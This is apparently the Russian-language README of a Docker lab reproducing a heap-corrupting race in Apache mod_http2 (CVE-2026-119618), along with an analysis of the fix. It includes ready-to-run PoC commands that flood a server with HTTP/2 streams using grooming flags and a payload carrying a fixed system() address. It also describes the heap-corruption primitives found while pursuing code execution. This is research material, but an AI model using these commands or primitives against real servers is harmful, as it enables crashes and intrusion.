
Изолированная среда Docker для воспроизведения гонки mod_http2 CVE-2026-119618 в Apache httpd 2.4.55–2.4.70, с PoC для краха, примитивами повреждения кучи, анализом core-дампов и A/B-контролем на 2.4.71.
assign_headers() Apache mod_http2 (CWE-362)Учебная лаборатория proof-of-concept для CVE-2026-119618 (критическая; опубликована 2026-11-11) — состояние гонки в mod_http2 Apache HTTP Server, затрагивающее httpd 2.4.55–2.4.70 и исправленное в 2.4.71. Всё здесь запускается в локальных Docker-контейнерах, привязанных к 127.0.0.1 в изолированной сети — никогда не направляйте эти инструменты на любой другой хост.
Результаты в одном абзаце: ошибка воспроизводится как надёжный PoC с падением из-за повреждения кучи на 2.4.70 (дампы памяти в путях apr_table/аллокатора/уничтожения пула, 6+ различных режимов падения), и были получены два примитива повреждения: байты заголовков атакующего, перезаписывающие разыменованный указатель на данные, и перехват указателя на функцию при очистке пула, передающий управление повреждённому plain_cleanup_fn (примитив B шага 4). Сквозное выполнение кода достигнуто НЕ было — шаги 5, 6 и 8 каждый завершились точным, подтверждённым доказательствами структурным блокером (см. Результаты). A/B-контроль на 2.4.71 чист: 189 524 потока по всем семействам полезной нагрузки, ноль сбросов/GOAWAY/дампов памяти.
Весь upstream-фикс (коммит 824beab9) — одна строка в
modules/http2/h2_request.c, функция assign_headers():
// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0"); // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0"); // writes per-request clone (2.4.71)
assign_headers() выполняется в рабочем потоке mod_http2 (c2), но req->headers — это
apr_table, находящаяся в пуле потока, которым владеет поток сессии nghttp2 (c1).
apr_table не является потокобезопасной, а пулы APR не синхронизируют выделение памяти в одном и том же пуле:
c1 session thread (nghttp2) c2 worker thread (mod_http2)
──────────────────────────── ────────────────────────────
h2_request_clone / push collect assign_headers()
iterate/copy req->headers ──────┐ apr_table_setn(req->headers,
apr_palloc from stream pool ──┐ │ "Content-Length", "0")
│ │ └─ realloc entry array (80 entries
shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
(lock-free on this path) ⇒ heap corruption / double-pop
setn воркера может перераспределить массив записей таблицы или перезаписать записи в то время как поток сессии клонирует/перебирает ту же таблицу, а его apr_palloc конкурирует с выделениями памяти потока сессии из того же узла неблокирующего аллокатора. 2.4.71 устраняет общую запись (использует клон r->headers_in для каждого запроса) и добавляет pool_lock.
HTTP/2-запрос, кадр HEADERS которого несёт END_STREAM (без тела), с заголовком Content-Type, без Content-Length и с методом, отличным от CONNECT. Гонка происходит между потоком сессии и потоком воркера на одном и том же потоке (stream), поэтому PoC открывает множество таких потоков одновременно и усиливает эффект таймингом RST/push/burst.
| Путь | Назначение |
|---|---|
docker-compose.yaml | target = httpd:2.4.70 (уязвимая версия), target-fixed = httpd:2.4.71 (A/B), dev = этот контейнер |
target/httpd-lab.conf | конфигурация h2c, внедряемая через -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI включён) |
target/htdocs/ | push.cgi (выдаёт Link: </style.css>; rel=preload для запуска клонирования в потоке сессии), diag.cgi (диагностика core/proc, ?savecore сохраняет /tmp/core), fetch.cgi (gzip-скачивание файлов/дампов core/маркеров с целевого хоста) |
poc.py | h2-клиент для гонки (PoC для краша + флаги grooming) |
exploit.py | драйвер RCE для шагов 5/6 + переиспользуемые помощники (run_poc, save_and_fetch_core, gdb_batch, фиксированные адреса) |
cve2poc/ | двухцикловый harness шага 8 (архитектура Cve2PoC: спецификация → статические проверки → синтез → выполнение → оракул → двухосевое оценивание → уточнение/перепланирование) |
evidence/ | описания шагов (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), разрешённые backtrace-трейсы, analyze_core.sh (офлайн-резолвер core), архивные дампы core в target-bin/ |
src/ | исходный код для справки только для чтения (httpd 2.4.70, apr 1.7.5) — никогда не собирается |
Примечания по окружению: в контейнере агента/разработки нет docker CLI — запускайте целевые хосты на хостовой машине командой docker compose up -d target target-fixed. ASLR в этой лаборатории отключён, поэтому все зафиксированные адреса (system = 0xffff924292c0, база mod_http2 0xffff91e60000, область header-spray 0xffff91600000–0xffff91650000, …) стабильны между запусками. kernel.core_pattern=core и core_uses_pid=0: каждый краш перезаписывает целевой /tmp/core — выполните curl 'http://target:8080/diag.cgi?savecore' перед следующей гонкой.
python3 -m venv .venv && .venv/bin/pip install h2 # once
# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist
# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c # offline gdb vs archived target binaries
# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist
# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status # reconstruct state from the JSONL reward store
Ключевые флаги подготовки poc.py: --fill 78 (78 филлеров + content-type + host = 80 записей ==
ёмкость таблицы ⇒ принудительный уязвимый realloc; --fill 0 — контроль без гонки), --pad N
(управляет потреблением stream-pool относительно границы узла аллокатора в 8 КБ; 16 = окно
краша при очистке), усилители --mode {race,rst,push,flood,burst}, --pattern (распознаваемый
спрей заголовков), --payload-hex / --body-hex / --body-every (бинарные полезные нагрузки;
значения заголовков nghttp2 состоят только из field-vchar, поэтому байты с NUL должны
передаваться в телах DATA).
poc.py воспроизводимо роняет воркер 2.4.70 (conn 16 надёжнее, чем 32, на 2 CPU).
Разрешённые офлайн коры классифицируются на 6+ различных режимов: повреждение free-list
аллокатора (apr_allocator_free с указателем, повреждённым контрольной суммой), гонки записей
apr_table, повреждение указателя данных потока, повреждение bucket/brigade, краши при очистке
pool-destroy и срабатывания assert в APR. Для каждого кора перед атрибуцией проверяется
происхождение (Apache/2.4.70, отсутствие строки pool_lock). См. evidence/EVIDENCE.md и
BACKTRACE_*.txt.